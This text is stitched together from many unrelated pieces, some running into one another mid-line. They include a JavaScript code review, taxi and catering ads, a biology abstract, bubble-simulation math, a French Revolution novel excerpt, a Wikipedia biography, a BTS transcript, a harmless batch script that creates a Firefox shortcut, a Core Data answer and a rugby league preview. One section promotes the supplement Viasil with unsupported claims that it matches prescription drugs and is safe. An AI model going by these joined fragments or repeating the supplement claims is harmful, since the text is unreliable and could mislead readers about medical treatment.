INPUT_ERROR_MSG: "That was not a valid measurement unit. Please try again",
IDEAL_BMI_LOWER: 18.5,
IDEAL_BMI_UPPER: 25
};
Globals; I would prefer using ids on the input fields (or even better, a jQuery selector) to retrieve them rather than going through document.forms. Like:
var stoneField = document.getElementById("stones");
var poundsField = document.getElementById("pounds");
//...
Globals; Even more than above, I'd prefer not having these globals at all. Instead you could retrieve them as needed in your functions (and/or pass them in as parameters).
Event Handlers; If you're just going to use the onclick and onchange attributes, there's no need to bind them programmatically. You can set them up in your markup instead, like:
<input type = "text" name = "stone" size = "1" maxlength = "2" onchange="updateForm(this);" />
<input type = "text" name = "pounds" size = "2" maxlength = "6" onchange="updateForm(this);" />
<!-- ... -->
<input id = "button" type="button" value = "Find out your BMI" onclick="outputBmi();" />
Note that this allows you to easily pass the input field itself to updateForm(), instead of just an arbitrary key.
Functions; I'd recommend the following style when writing functions:
function roundTwoDecimals(number) {
return Math.round(number * 100) / 100;
}
Separation of logic and presentation; Instead of composing a big long HTML string in outputBmi() I'd recommend having the |
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] | 2
slider3
Welcome to the Big Fish Restaurant Group
Corporate to Casual Catering Online Ordering Services
Our online ordering system has been created to make the most of our catering services. We want to ensure that we are providing you with the very best options. Please give us a call and we will be happy to assist you.Taxis enable vacationers to focus on the beauty of The Bahamas instead of the road.
Are you looking for that unforgettable Bahamian adventure? Do you want a rewarding and culturally rich night of Bahamian style fun? Look no further. Jermaine's Taxi & Tours is your taxi & tour specialists with the lowest prices. Jermaine's Taxi & Tours aims to make sure your stay in paradise is as rewarding as it is thrilling.
Jermaine's Taxi & Tour service provides private taxi service and tours for the leisure and business traveller. With reliable, punctual, safe and efficient service. From certified and authorised drivers.
Perhaps you are looking for a culturally and educationally rich day, then journey to the dolphin sanctuary and enjoy a relaxing afternoon with the jokesters of the sea; or head out to Lucaya National Park and discover one of the most astounding underwater cave systems in the world.
Make your stay in paradise unforgettable! Plan ahead and book your tours and activities with Jermaine's Taxi & Tours and get ready to make the most of your time in the stunning and exciting Caribbean.
Jermaine's Taxi & Tours are a great way to learn about the Bahamian culture and history and see some of the popular island attractions of Cable Beach, Paradise Island, Atlantis Resort and so much more.
We provide the most reliable Airport taxi cab and tour services in the Nassau Bahama Area including: Cable Beach, Paradise Island, Atlantis Resort
Taxi & Tour Fares
All of the taxi fares are in accordance with the ministry of public works and transport. The zone rates from the airport to Paradise Island Atlantis for the conveyance of the first 2 passengers it's $32 + $1.00 for the bridge toll. Each additional passengers is $3.00 per person. Click here to view Taxi Fares rate chart for Nassau / New Providence.
Example: 4 passengers from the airport who are going to Atlantis, the fare would be $32.00 for the first two passengers & $6.00 for the additional 2 + $1.00 for the bridge toll. =$39.00 dollars.
The zone rates for the Cable Beach area also which is $18.00 for the conveyance of the first two passengers and each additional passenger is $3.00 per person.
Example: 4 passengers from the airport who are going to cable beach, the fare would be $18.00 +6= $24.00. You are also entitled to 2 carry on luggage per passengers. Each additional piece is $0.75cent. golf bags is $1.75 each.
Tour Rates.
$36.00 per person for 5 or more customers. Discounts of $5.00 off to person who use my services for round trips to & from the airport.
The tours are approximately 2 hours for a regular sightseeing tour. If you would like a combination tour which we stop at the fish fry for lunch & visit the ardastra gardens marching flamingo show which strats at 10:30am it can last up to 4 to 5 hours.Modulation of T cell activation by differential regulation of the phosphorylation of two cytosolic proteins. Implication of both Ca2+ and cyclic AMP-dependent protein kinases.
Interleukin 2 production by activated Jurkat T cells is markedly decreased by prostaglandin E2 (PGE2). The target of PGE2 action has been investigated in the present study. Among the biochemical events occurring after CD3.TCR triggering by anti-CD3 monoclonal antibody, phosphorylation of two cytosolic proteins, pp21 and pp23, was strongly inhibited by PGE2, forskolin, and 8-bromo-cAMP, whereas anti-CD3 monoclonal antibody-induced CD3.TCR modulation and Ca2+ influx were not affected. The inhibition of both pp21 and pp23 phosphorylation and interleukin 2 synthesis by PGE2 can be largely reversed by the cAMP-dependent protein kinase inhibitor, N-[2-(methylamino)-ethyl-1]-5-isoquinoline sulfonamide. Together with the demonstration of a cAMP-dependent protein kinase activity in Jurkat T cells, these results are consistent with the participation of the cAMP-dependent protein kinase mediating the inhibitory action of PGE2, probably through the inhibition of pp21 and pp23 phosphorylation. Thus, it appears that the modulation of the phosphorylation of these cytosolic proteins represents an essential step in the regulation of T lymphocyte activation.07.28.12
My friends at Legwork have released their latest reel for 2012 and it’s chock full of whoop ass. I had a chance of working with these guys maybe 4-5 years back just as they were very first starting out and turned down the chance. I’ve been kicking myself ever since. They continue to amaze me with the kind of work they are continually putting out and their star is fast on the rise here in Denver. All of it is deserved though because they work their asses off. Keep it up guys. I’ve got nothing but love.
12.07.11
I stumbled across the ‘Field Notes’ of Ian Coyle today and was thoroughly impressed by his work. Ian used to live here in Denver and was a partner at the now defunct web agency FL2. Since then he has relocated to Oregon and he has continued to do some great work since he’s been out there which you can see through his field notes.
02.14.11
French web, design and animation studio Hellohikimori has updated with another in your face website featuring jarring music and kick ass project work. They are loud, proud and unafraid to go all out when it comes to color. Their stance is attracting some big clients lately and it’s great to see them doing so well.
01.13.11
Longstanding pillar of motion design and 3D goodness, Brand New School has officially announced the release of their new website. It’s crispy and fresh as to be expected. The site employs Linked by Air and is only the fourth installation of Economy, Linked by Air’s modular content management system. A few key features were added that allow all BNS creatives to add their own personal “Bits” or images from recent projects. Another added feature allows for the background to be changed at any time.
12.22.10
Famed design personality Stefan Sagmeister has updated with a brand spanking new website just before the new year’s bells begin to chime. The site itself features a home page that shows and an overhead view of his rather cramped workspace that updates once every minute. No studio nudity so far although I am sure some is to be expected or at least some X-acto blade self mutilation. One can only hope.
10.26.10
Motion/Direction agency Not to Scale has relaunched their website and it’s an excellent example of how to keep a site simple but make it interesting via color and placement. It does a great job at showcasing the work of their top directors and it makes sorting through the content fun.
08.10.10
Brazilian design agency Pianofuzz sent in a link to their interesting work that lives within an equally interesting website. I am not entirely sure, to be totally honest, if I like their website but it is different and in a way makes you more curious about who they are and what they do.
07.30.10
London based studio Shotopop has updated both their website and portfolio with some exciting new work. Shotopop works out of a shipping container on the shore of the river Thames. They definitely position themselves in a unique fashion and I could see how working out of a shipping container would influence that mindset.
07.07.10
My Boulder based friends at Cypher 13 have relaunched their blog Joyengine. There are several options for viewing the content and they have opted for a clean and crisp design this go round along with a new logo treatment. They also have some new work in their portfolio worth looking into. Their packaging for Olade beverages and design for the Biennial of the Americas collateral are particularly sharp. The site is looking sharp boys. Congratulations.
05.07.10
Umm, geez what to say about the website ‘De 1 Up‘ other than Brazil is totally awesome and just start clicking around for what can only be described as a brain-jarring acid flashback for what I guess is a promotion for toothpaste?
03.11.10
Creative think tank and all around experimental explorers Friends With You recently updated their site. The site was built by Boulder, Colorado’s Quick Left and has a number of notable upgrades including an expanded storefront. The site presents a rich interactive experience without utilizing Flash and apparently offers up a dummy-proof CMS system that gives Friends With You the hassle-free ability to update content whenever they like. It’s a lot like what I am aiming for with the development of my new site.
03.05.10
We are currently ready for the next phase of Changethethought and are seeking to partner with a developer for relaunch of our website. We have a reasonable budget for the project but want to put a new and different kind of |
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5
] | _1} = 0.5141, \; b_{bubble_1} = 0.9926$.
- Bubble 2:\
$a_{bubble_{2}} = 0.5219, \; b_{bubble_{2}} = 0.9718$.
- Bubble 3:\
$a_{bubble_{3}} = 0.5295, \; b_{bubble_{3}} = 0.9506$.
- Bubble 4:\
$a_{bubble_{4}} = 0.5369, \; b_{bubble_{4}} = 0.9289$.
- Bubble 5:\
$a_{bubble_{5}} = 0.5443, \; b_{bubble_{5}} = 0.9067$.
- Bubble 6:\
$a_{bubble_{6}} = 0.5514, \; b_{bubble_{6}} = 0.8841$.
- Bubble 7:\
$a_{bubble_{7}} = 0.5584, \; b_{bubble_{7}} = 0.8612$.
- Bubble 8:\
$a_{bubble_{8}} = 0.5651, \; b_{bubble_{8}} = 0.8382$.
- Bubble 9:\
$a_{bubble_{9}} = 0.5717, \; b_{bubble_{9}} = 0.8154$.
- Bubble 10:\
$a_{bubble_{10}} = 0.5780, \; b_{bubble_{10}} = 0.7928$.
- Ellipse: $(x-x_{bubble_i})^2 + ((y-y_{bubble_i})*a_{bubble}/b_{bubble})^2 - a_{bubble}^2 $,\
where $(x_{bubble_i}, y_{bubble_i})$ is the origin of the $i$-th bubble.
- Computation of the far-field bubbles (level-set initialisation):
- Parameterisation of the level-set initial-function, e.g., two bubbles: $$\begin{aligned}
\phi_0(x,y) = \left\{
\begin{array}{cc}
(x - x_{bubble_1})^2 + ((y-y_{bubble_1}) \frac{a_{bubble_1}}{b_{bubble_1}})^2 - a_{bubble_1}^2 , & \\
a_x \le x \le 50 , \; a_y \le x \le b_y , & \\
(x - x_{bubble_2})^2 + ((y-y_{bubble_2}) \frac{a_{bubble_2}}{b_{bubble_2}})^2 - a_{bubble_2}^2 , & \\
50 \le x \le b_x, \; a_y \le x \le b_y , & \\
\end{array}
\right.\end{aligned}$$ where $(x_{bubble_1}, y_{bubble_1}) = (20, 50)$, $(x_{bubble_2}, y_{bubble_2}) = (80, 50)$ with the coordinates of the grid $(a_x, a_y) = (0, 0)$ and $b_x, b_y) = (100, 200)$.
The numerical results of the formation of the bubbles are given in Figures \[bubble\_coupled\_2\_init\].
The numerical results of the near-far-field coupled bubble-transport code, which is given in Figures \[bubble\_coupled\_2\] and \[bubble\_coupled\_21\].
In the experiment, we deal with at least 10 bubbles, which are different formated and transported via the level-set method. The numerical experiments allows to accelerate the formation and transport of such processes.
Bubble-Formation: Oscillation of the Air-Bubbles in the electrical-Field (first modelling approach)
---------------------------------------------------------------------------------------------------
In the following, we simulate a bubble filled with air in a electrical field, see [@sommers2012].
We have the following setting of the influenced bubble, see Figure \[bubble\_electr\_1\].
We apply the following near-field equation based on an extension of the pressure-term with an E-field.
The near-field equations are given as: $$\begin{aligned}
&& \frac{d r}{d s} = \cos(\theta) , \\
&& \frac{d z}{d s} = \sin(\theta) , \\
&& \frac{d \theta}{d s} + \frac{\sin(\theta)}{r} = \frac{\Delta p}{\alpha} , \end{aligned}$$ where $s$ is the arc length along the curve and $\theta$ the angle of elevation for its slope and $\alpha$ is the mono-layer surface tension.
Further, we have $$\begin{aligned}
&& \Delta p = p_{bubble} - p_{tube} = \rho g z - p_{tube} , \end{aligned}$$ where $p_{tube} = p_E = \frac{9}{8} |{\bf E}_0|^2 \; \sin(\theta)$ is the pressure based on the electrical field of the tube and we obtain: $$\begin{aligned}
&& \frac{d r}{d s} = \cos(\theta) , \\
&& \frac{d z}{d s} = \sin(\theta) , \\
&& \frac{d \theta}{d s} + \frac{\sin(\theta)}{r} = \frac{\rho g z - \frac{9}{8} |{\bf E}_0|^2 \; \sin(\theta)}{\alpha} .\end{aligned}$$
We apply the following parameters:
- Computation of the near-field bubbles (a representing bubble is computed)
- Input-parameters of the near-field bubbles computation:
- Bubble 1:\
$r_1(0)=0.01, \; z_1(0)=0, \; r_1(L) =0, \; L = 2, \; \frac{\Delta p_1}{\alpha_1}= 0.2$,
- Bubble 2:\
$r_2(0)=0.01, \; z_2(0)=0, \; r_2(L) =0, \; L = 2, \; \frac{\Delta p_2}{\alpha_2}= 0.4$.
- Bubble 3:\
$r_3(0)=0.01, \; z_3(0)=0, \; r_3(L) =0, \; L = 2, \; \frac{\Delta p_3}{\alpha_3}= 0.6$.
- Bubble 4:\
$r_4(0)=0.01, \; z_4(0)=0, \; r_4(L) =0, \; L = 2, \; \frac{\Delta p_4}{\alpha_4}= 0.8$.
- Bubble 5:\
$r_5(0)=0.01, \; z_5(0)=0, \; r_5(L) =0, \; L = 2, \; \frac{\Delta p_5}{\alpha_5}= 1.0$.
- Bubble 6:\
$r_6(0)=0.01, \; z_6(0)=0, \; r_6(L) =0, \; L = 2, \; \frac{\Delta p_6}{\alpha_6}= 1.2$.
- Bubble 7:\
$r_7(0)=0.01, \; z_7(0)=0, \; r_7(L) =0, \; L = 2, \; \frac{\Delta p_7}{\alpha_7}= 1.4$.
- Bubble 8:\
$r_8(0)=0.01, \; z_8(0)=0, \; r_8(L) =0, \; L = 2, \; \frac{\Delta p_8}{\alpha_8}= 1.6$.
- Bubble 9:\
$r_9(0)=0.01, \; z_9(0)=0, \; r_9(L) =0, \; L = 2, \; \frac{\Delta p_9}{\alpha_9}= 1.8$.
- Bubble 10:\
$r_{10}(0)=0.01, \; z_{10}(0)=0, \; r_{10}(L) =0, \; L = 2, \; \frac{\Delta p_{10}}{\alpha_{10}}= 2.0$.
- Electrical field parameters are given as:
$\alpha = 0.1$, $\rho = 0.1, \; g = 9.81, \; |{\bf E}_0|^2 = 0.1$.
- Output-parameters of the near-field bubble computation (formation):
- Bubble 1:\
$ |
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] | ," put in the Marquis bitterly, "the King had the cleverness on that
occasion to commit what was, from the point of view of the
revolutionists, an assault upon the National Assembly, by allowing their
meeting place to be invaded by the troops; and at the same time to
perpetrate a new assault against royalty by not preventing the rebels
from reuniting in the Tennis Court at Versailles; mistakes, mistakes,
ever more mistakes."
"All this is conclusive evidence," chimed in Barrel Mirabeau. "This
unfortunate King seems to be infatuated with folly."
"Either brace up foolish Kings or suppress them--else look out for the
safety of the monarchy, Monsieur Viscount," replied Victoria.
"Thanks to God," went on a cavalry officer at the other end of the
table, "thanks to God the King's brother, Monseigneur the Count of
Provence, rose to the emergency. At this vexatious juncture the prince
took an energetic step. Without even asking the King, he hired the
Tennis Court for a whole month!"
Victoria broke out into a peal of grim and mocking laughter. "There is a
party leader," she said, "of great bravery and great wisdom! One need go
into no ecstasies over his courage!"
"Madam the Marchioness is right," chimed in the Viscount of Mirabeau
again. "This measure had no other effect upon the rebels than to cause
them, the next day, to instal themselves in the Church of St. Louis."
"And then the clergy, or at least a part of the clergy, committed
another imbecility--they rallied to the Third Estate. The shaven-heads
have their share of responsibility in all this," said the Count of
Plouernel.
"The high clergy protested, against this treason, the blame of which
should be thrown on the curates of the country districts," declared the
Cardinal in self-defense.
"Monsieur the Cardinal is in error!" it was the harsh voice of Abbot
Morlet that broke in. "That fraction of the clergy which went over to
the Third Estate displayed great political sense. The low clergy did
just what they should have done."
"Peace, Abbot, peace there!" cried the Cardinal in accents of sovereign
scorn. "You are talking nonsense, my dear sir!"
"I maintain what I stated--'tis but little I care for the approbation of
Monsieur the Cardinal," snapped Morlet.
"What's that you say, Abbot?" flashed back the Cardinal in great
irritation. "Measure your words!"
"I wish to talk with reasonable men," returned Morlet, impassibly. "This
is addressed to you, gentlemen. The royal power having tolerated the
existence of this Assembly of malcontents, the clergy, both high and
low, should have seized upon the fact, and turned it to its own
advantage. By the simple means of choosing its best men, and joining
them to the Third Estate, it would then have been able at need to stand
in with revolutionary motions, in order to drive the dissatisfied
element to the last extremes in the paroxysms of their rage."
"Monsieur the Abbot is a profound politician; he is in the right of the
matter," assented Victoria.
"At the risk of contradicting you, Madam the Marchioness," objected the
Cardinal passionately, "I must declare that the Abbot has only once more
exhibited the evil spirit of the Society of Jesus, which has always been
a veritable pest to the Church. Our holy mother were well rid of that
abominable, execrable society!"
"So the priest is a Jesuit!" thought Victoria to herself, a light
dawning upon her.
"The true pest of the Church," retorted Abbot Morlet, "has always been
clad in the purple--cardinals and prelates, nearly all sots, imbeciles
and peacocks!"
"The impudence of this priestlet, this scoundrel, this hypocrite!" the
Cardinal cried in a fury. "Out of here with the insolent fellow!"
"By the blood of Christ," interjected Victoria quickly, addressing the
two churchmen, "is this the hour for discord and recrimination? Do you
forget, your Eminence, and you, Monsieur Abbot, that at this moment the
safety of the Church depends upon the unity of her defenders?"
All the company, with the sole exceptions of the Cardinal and the Abbot,
took up the word: "'Tis true--'tis evident! Let us not forget. Let us
remain united for the conflict!"
When the tumult had subsided, Victoria took up again her interrupted
discourse: "In casting a rapid glance over the past, I did not intend to
arouse suspicion among you or raise dissension. In pointing out the
faults committed, I wished only to forewarn you against similar errors,
and to show you how to escape new mistakes. Please, then, to give me
your attention a few minutes longer: The session in the Tennis Court was
a brutal challenge hurled in the teeth of royalty. The Queen, who is a
woman of valor, understood it; she pressed the King to take energetic
measures, and pledged him to have the National Assembly dissolved by
force. Louis XVI submitted to the influence of the Queen; on the 28th of
June he went into the heart of the Assembly, surrounded by his guards,
and through his chancellor ordered the deputies to disperse, abolished
their decrees, and annulled their deliberations. He acted the part of a
sovereign."
"His Majesty indeed displayed great courage that day, and many of the
deputies of the nobility and the clergy applauded the act of dissolution
and immediately left the chamber," declared the Duke.
"The King," assented Victoria sardonically, "his faithful nobles and his
faithful clergy left the hall. But they left the rebels behind them.
Then Abbot Sieyes sprang to the tribunal and cried 'Continue in session,
Representatives of the people! We are to-day what we were yesterday!'"
"But the King did not falter, thank God!" continued the Duke. "His
Majesty commanded the Marquis of Breze to convey to the malcontents his
orders to disperse."
"Shame and misfortune!" exclaimed the Viscount of Mirabeau. "It was my
own brother who then answered Breze, 'Go and say to your master who sent
you, that we are here by the will of the people, and that we shall never
quit this hall save by force of bayonets!'"
"Very well, Monsieur Viscount! Your brother pointed out to the royal
power its means of safety--_force of bayonets_," answered Victoria. "By
the blood of Christ, what did Louis XVI do to restore the rebels to
their senses? Absolutely nothing. Then the latter, encouraged by their
immunity from punishment, declared, in their next session, the
inviolability of the National Assembly."
"Alas, it was upon the motion of my abominable brother that that
declaration was carried! God's blood, I think I could have turned
fratricide at the moment," declared Barrel Mirabeau.
"Your house was not the only one to tremble at such felony," Victoria
replied. "Did not nearly all the deputies of the nobility, even the most
hostile to the revolution, rally around the Third Estate, dragging with
them all the clericals?"
"Should the members of the nobility, then, Madam Marchioness," objected
the Duke, "because the monarchy showed weakness, have abandoned it
without attempting to defend it from within the Assembly? No, certainly
not."
"Sir Duke," replied Victoria, "the members of the nobility and of the
clergy who remained faithful to the throne were in the minority. What
could they do for the monarchy? Nothing. Their presence among the ranks
of the rebels served only to excuse the slips of the King, for then he
could respond with a show of reason, 'I can not dissolve an Assembly
which contains so great a number of my servants.'"
"Such was, in fact, the response made by his Majesty to the Queen when
she secured the recall of Necker and the appointment of a new minister
chosen by Monsieur Broglie. Nevertheless, with the assistance of the
Marshal, the monarchy will still prove able to overcome the revolution.
At least, that is my opinion," vouchsafed the Count of Plouernel.
"May God so will it," rejoined Victoria again. "But up till now the new
minister has done nothing but make mistakes--"
Victoria was interrupted by the entrance of one of the lackeys, whom
Plouernel had dismissed from the banquet hall in order that his guests
might discuss political affairs confidentially and in safety, who said:
"The steward, my lord, asks to see you immediately."
"Let him enter," said the |
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41660
] | ailing to get an erection is known as erectile dysfunction (E.D) and it effects millions of men across the world.
Causes Of Erectile Dysfunction
There are many causes of erectile dysfunction, some medical drugs can affect our ability to get an erection, some illnesses can also be responsible.
For most of us, if you are generally healthy, its a lack of or reduced blood flow into the penis that is the main reason for over 95% of all cases of ED.
When we became sexually aroused, our brain sends signals though the body to push extra blood to the genital region, as blood flows into the soft tissues within the penis, it fills with blood, swelling and making the penis become stiff and erect.
To assist the blood flow, the body releases a compound called Nitric oxide, which helps to relax and open the blood vessels. This allows more blood to flow freely into the penis, helping to generate a firm and longer lasting erection.
The popular drug Viagra was originally developed to help men with Angina – a heart problem caused by narrowing of the blood vessels.
It was discovered – virtually by accident that it had beneficial effect on erections, and it is this effect that now makes it one of the most prescribed drugs in the world.
There are a couple of downsides to taking Viagra, in many cases you need to have a rather embarrassing consultation with your doctor and possibly a physical examination.
Furthermore the drug has been linked to some rather nasty side effects, which is the sole reason why you really shouldn’t take it without being advised to by your doctor, just in case it does you more harm than good.
Viagra has been linked to heart problems, anxiety, stomach upsets, headaches and a problem with your vision called blue vision, its not suitable for all, especially anybody with other potential health problems.
What Is Viasil?
With all the concerns surrounding drug based treatments like Viagra, another option is to take a natural supplement, there are literally thousands of products on the market, all promising to deliver ‘viagra type’ results. Its extremely difficult to identify quality products from those that are ineffective.
Regretfully there are some unscrupulous manufacturers who release a cheaply formulated product that will have no benefits other than line the pockets of the makers.
Viasil is an all natural erection boosting supplement, its made by Swiss research labs, a globally recognised and reputable supplement manufacturer.
Cleverly developed to help treat the single main cause of ED – reduced blood flow, Viasil works in exactly the same way as prescription drugs to boost the release of nitric oxide, helping to relax the blood vessels and increase the blood flow to the penis.
Ingredients in Viasil
Epimedium ( Horny Goat Weed) – High in a compound called Iacarrin, a natural compound that can help to reduce the levels of a protein called PDE5 – this has been linked to reduced blood flow. By reducing PDE5 in your body, you can improve your circulation and nerve stimulation. This hasa positive effect on sexual responses, desire and arousal.
Zinc – An essential mineral that helps to boost a whole wealth of male hormonal activity. It is key to healthy sperm production, boosting sperm quantity, quality and motility. It helps to speed up cellular recovery and boost ejaculation strength and volume.
Citrus Sinensis ( Bitter Orange) – Helps to enhanceATP production – the cellar process that produces energy in the body.
It is also very high in flavonoids which is responsible for enhancing nitric oxide production in the body. This enhances vasolidilation ( the relaxing and opening of blood vessels) allowing for improved blood flow and harder, more longer lasting erections.
It also provide crucial Vitamin C to the body, improving overall health.
Gingko Biloba – One of the older trees known to man, dating back to the times of the dinosaurs, it has some among health benefits.
One of which is its ability to help boost nitric oxide production which as we have said before is essentialto strong blood flow.
It is also high in antioxidants that remove harmful toxins and repair cellular damage. It is also great at helping to calm anxiety, a by-product of ED. With improved confidence your ability to perform in the bedroom will increase.
Tribulus Terrestris – Known to have the ability of improving sex drive by reducing sugar levels and cholesterol, both none to have detrimental effects on sex drive.
Panax Ginseng – Recognised for its ability to reduce stress and boost sexual performance. High in a compound called ginesenosides which helps to boost alertness, concentration, sexual desire and overall endurance.
Pomegranate – Also referred to as Natures Viagra – has a powerful effect on nitric oxide production boosting food flow and the resulting erections, it is also a powerful antioxidant, removing those everyday toxins that cause harm to our cellular function.
How To Take Viasil
Viasil is not a daily supplement, each pack contains 10 pills. Simply take one pill around 30 minutes before sexual activity, its fast to work and the effects last for around 2 hours.
Prices for a box containing 10 pills start at £54.99 – You can save money by ordering later quantities –
Our recommendation for best buy is the 3 box package – buying separately would cost you £164.97, you can now get them for £109.99
Cash Back Guarantee
The makers want their customers to be happy with their purchase, they offer a lengthy 100 day cash back guarantee. If you find that it doesn’t work as expected for you, the you can return any unopened/unused products for a full refund.
Final Thoughts On Viasil
With all the well advertised side effects linked to prescription drugs like Viagra, its refreshing that a manufacturer has cleverly developed a product containing a natural list of proven ingredients that deliver powerful erections and heightened sexual performance .
The lengthy cash back guarantee, highlights with the makers belief in their product and their desire for complete customer satisfaction
Viasil is a great product – it works really well and most importantly is safe.Ely Karmon
Dr Ely Karmon (Hebrew: אלי כרמון, born May 3, 1941) is an Israeli political scientist who is a Senior Research scholar at the International Institute for Counter-Terrorism (ICT) and Senior Research Fellow at the Institute for Policy and Strategy, both at The Interdisciplinary Center Herzliya (IDC), in Israel. He also lectures there on Terrorism and Guerrilla in Modern Times.
Career
He has a bachelor's degree in both English and French cultures from the Hebrew University and MA and Ph.D. in political science from Haifa University.
He served as an advisor to the Israeli Ministry of Defense and participated in UN seminars preparing security at Athens 2004 and Beijing 2008 Olympics. He also briefed Shanghai authorities involved in security at the Expo 2010 on threat assessment to the event.
In addition to his work at the IDC, Dr. Karmon is an Associate Fellow at The International Centre for the Study of Radicalisation and Political Violence (ICSR), in London, member of the International Permanent Observatory (IPO) on security measures during major events at the United Nations Interregional Crime and Justice Research Institute (UNICRI), in Turin, Italy, member of the International Institute for Security and Cooperation, in Sofia, Bulgaria, member of the Atlantic Forum of Israel and is involved in NATO workshops on terrorism and on the Mediterranean Dialogue, and Has been a Fellow at the Proteus Management Group (PMG), at the Center for Strategic Leadership, U.S. Army War College, Carlisle, Pennsylvania.
He is also a member of the Editorial Board of Revista Universitas/Relaçoes Internacionais, journal of the Centro Universitário de Brasília (UniCEUB) and member of the Scientific Board of Centro Alti Studi per la lotta al terrorismo e alla violenza politica (CeAS), Italy.
Writings
Karmon has written extensively on international terrorism and strategic issues of the Middle East.
Books
Hebrew - Coauthor with Robert A. Rockaway, 1996, לואיס פאראקן, אומת האסלאם והיהודים, Published by the American Jewish Committee
In December 2003, while he was a visiting fellow at The Washington Institute for Near East Policy, his policy memorandum, titled Fight on All Fronts? Hizballah, the War on Terror, and the War in Iraq was published by the Institute.
His book Coalitions between Terrorist Organizations: Revolutionaries, Nationalists, and Islamists was published in May 2005 by Brill Academic Publishers (Leiden and Boston)
His book Iran–Syria-Hizballah–Hamas: A Coalition against Nature. Why does it Work? was published by The Center for Strategic Leadership, U.S. Army War College, in May 2008.
Articles (Sample)
From the International Institute for Counter-Terrorism (ICT) site (2013–2014)
Earlier articles (1998 - 2012), from the same site
From "Ha'aretz"
From The Jerusalem Post
From "The Times of Israel" (2014)
References
Category:Living people
Category:1941 births
Category:Israeli political scientists
Category:Interdisciplinary Center Herz |
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] | embarrassed
-Yeah
You know, thinking that it's over...
-Jin, you cried too
-a lot rushed through my mind
I did not cry
I don't want to show my weak side
-I saw you crying facing the back
-"My last time singing Epiphany..."
I will only show you my smiles
Remember that, okay?
You cried at "MIC DROP"
This is the last farewell... sob...
-Last farewell
-Last farewell
-He must've been sad when he did the last farewell
-Last farewell...
Yeah, that was my part so...
-It's all because of the lyrics
-Right, the lyrics...
-Sorry, I wrote it
-Yeah, it's because of you
You've worked so hard
-That's true
-I want to say you all did a very good job
-62 concerts...
-Our ARMY did a good job too
-Big Hit staff also worked very hard
-True...
The staff worked very hard
And our ARMY...
-Should we say "We love you" in one, two, three?
-Should we?
One, two, three
We love you!!
Should we say "We purple you?"
One, two, three
We purple you!!
:: by runningcheese
@echo off
echo set WshShell = WScript.CreateObject("WScript.Shell")>tmp.vbs
echo set oShellLink = WshShell.CreateShortcut("%~dp0" ^& "\Firefox.lnk")>>tmp.vbs
echo oShellLink.TargetPath ="%~dp0Firefox\firefox.exe">>tmp.vbs
echo oShellLink.WindowStyle ="1">>tmp.vbs
echo oShellLink.Hotkey = "CTRL+SHIFT+F">>tmp.vbs
echo oShellLink.IconLocation = "%~dp0Firefox\firefox.exe">>tmp.vbs
echo oShellLink.Description = "">>tmp.vbs
echo oShellLink.WorkingDirectory = "%~dp0">>tmp.vbs
echo oShellLink.Save>>tmp.vbs
call tmp.vbs
del /f /q tmp.vbsQ:
Using core data, is the a way to automatically delete an entity when a to-many relationship falls below the min-count?
I have a core data model which includes an entity with a to-many relationship. I have set the relationship to non-optional and set the 'min count' to one. However, I can't work out a way of acting on this rule once it has been breached. Ideally I'd just like the entity deleted... but I can't figure out a way to do this automatically, or work out where I might be notified of this event.
A:
You should be able to use KVO for this. Register for notifications on the relationship property within the entity, and have it delete itself if the count falls below the minimum number.
Toronto Wolfpack are aiming to win back-to-back promotions from League One to Super League in their first two years as a professional club
It has been a wacky race across three countries and two continents for the past six weeks in rugby league's Qualifiers.
There have been twists and turns that have left Super League clubs Leeds (last year's Grand Final winners), Hull KR and Salford Red Devils clinging on for survival in the top division, and have already condemned Widnes to relegation.
Three Championship clubs from as diverse locations as London, Toulouse and Toronto know that at least one of them, and possibly two, will be going up.
How it works
The Super 8 Qualifiers throw together the bottom four clubs from Super League and the top four from the Championship, after they have played a regular season in their respective leagues, to create a new mini-league.
The top three from the Qualifiers go into Super League the following year, the bottom three go into the Championship, and the teams finishing fourth and fifth play off in the "Million Pound Game" to determine the final Super League competitor.
Its complexity and volatility is one of the reasons why clubs recently voted to get rid of the Super 8s from next season. From 2019, it will be a more straight-forward "one up, one down" system.
But while this current crazy, washing machine-type approach to settling promotion and relegation tosses and turns the clubs involved one final time, us neutrals can sit back and enjoy the delicious unpredictability of the outcome of the final round of fixtures.
One thing is certain - Halifax and Widnes will finish in the bottom two spots in the Qualifiers and will both be in the Championship next year.
Nobody at Widnes can complain about their demise. They were a country mile adrift at the bottom of the Super League table at the end of the regular season.
But the other six teams have it all to play for.
Remaining fixtures
Salford Red Devils v Toulouse (Thursday, 27 September, 19:45 BST, live on BBC Radio 5 live sports extra)
Leeds Rhinos v Toronto Wolfpack (Friday, 28 September, 19:45 BST, live on BBC Radio 5 live sports extra)
London Broncos v Halifax (Saturday, 29 September, 19:05 BST)
Hull KR v Widnes Vikings (Sunday, 30 September, 15:00 BST)
SALFORD: If they beat Toulouse, they will be safe. It would give them 10 points from seven games and a superior points difference that will seal a place in the top three. If they lose, they will be hoping that either Toronto or Hull KR slip up in their last game, otherwise the Red Devils will be in the Million Pound Game.
TOULOUSE: If they lose, the probability is they will be out of the promotion reckoning. If they win, they have a chance of automatic promotion, but would need Toronto and Hull KR to both lose their games and for London not to rattle up a big score in their last game. Their best hope is probably to claim a place in the Million Pound Game.
LEEDS: Last year's champions are top of the Qualifiers with five wins from six games and should be safe, but there is a scenario that could still see them relegated. If they lose to Toronto by 32 points or more and Hull KR beat Widnes by a big, but not impossible margin, the Rhinos could yet be sucked into the Million Pound Game reckoning. That is highly unlikely, though.
TORONTO: The Wolfpack could claim automatic promotion, could be in the Million Pound Game, or could miss out altogether. If the Canadians beat Leeds by more than 32 points they are definitely up. A win, by any margin, would put them in a very strong position, but they would still potentially have a nervous wait to see if Hull KR can pip them on points difference. The likeliest scenario is that rugby league's newest and furthest-flung professional club will be in the Million Pound Game.
London Broncos last played in Super League in 2014, when they were relegated alongside Bradford Bulls
LONDON: The Broncos start the final round of games sixth but will go into their match against Halifax as favourites to win and win big. They will need to. Claiming a place in the top three is probably too much of a long shot for them, but it is not impossible. More likely, they will be hoping to win and that Toulouse lose at Salford, which would confirm a Million Pound Game spot for London.
HALIFAX: They have the smallest budget in the Qualifiers and, despite some heroic performances, they have failed to pick up a point so far. Their triumph this year has been in actually reaching the Championship's top four again, beating off some bigger clubs to get there. They are back in the Championship next year.
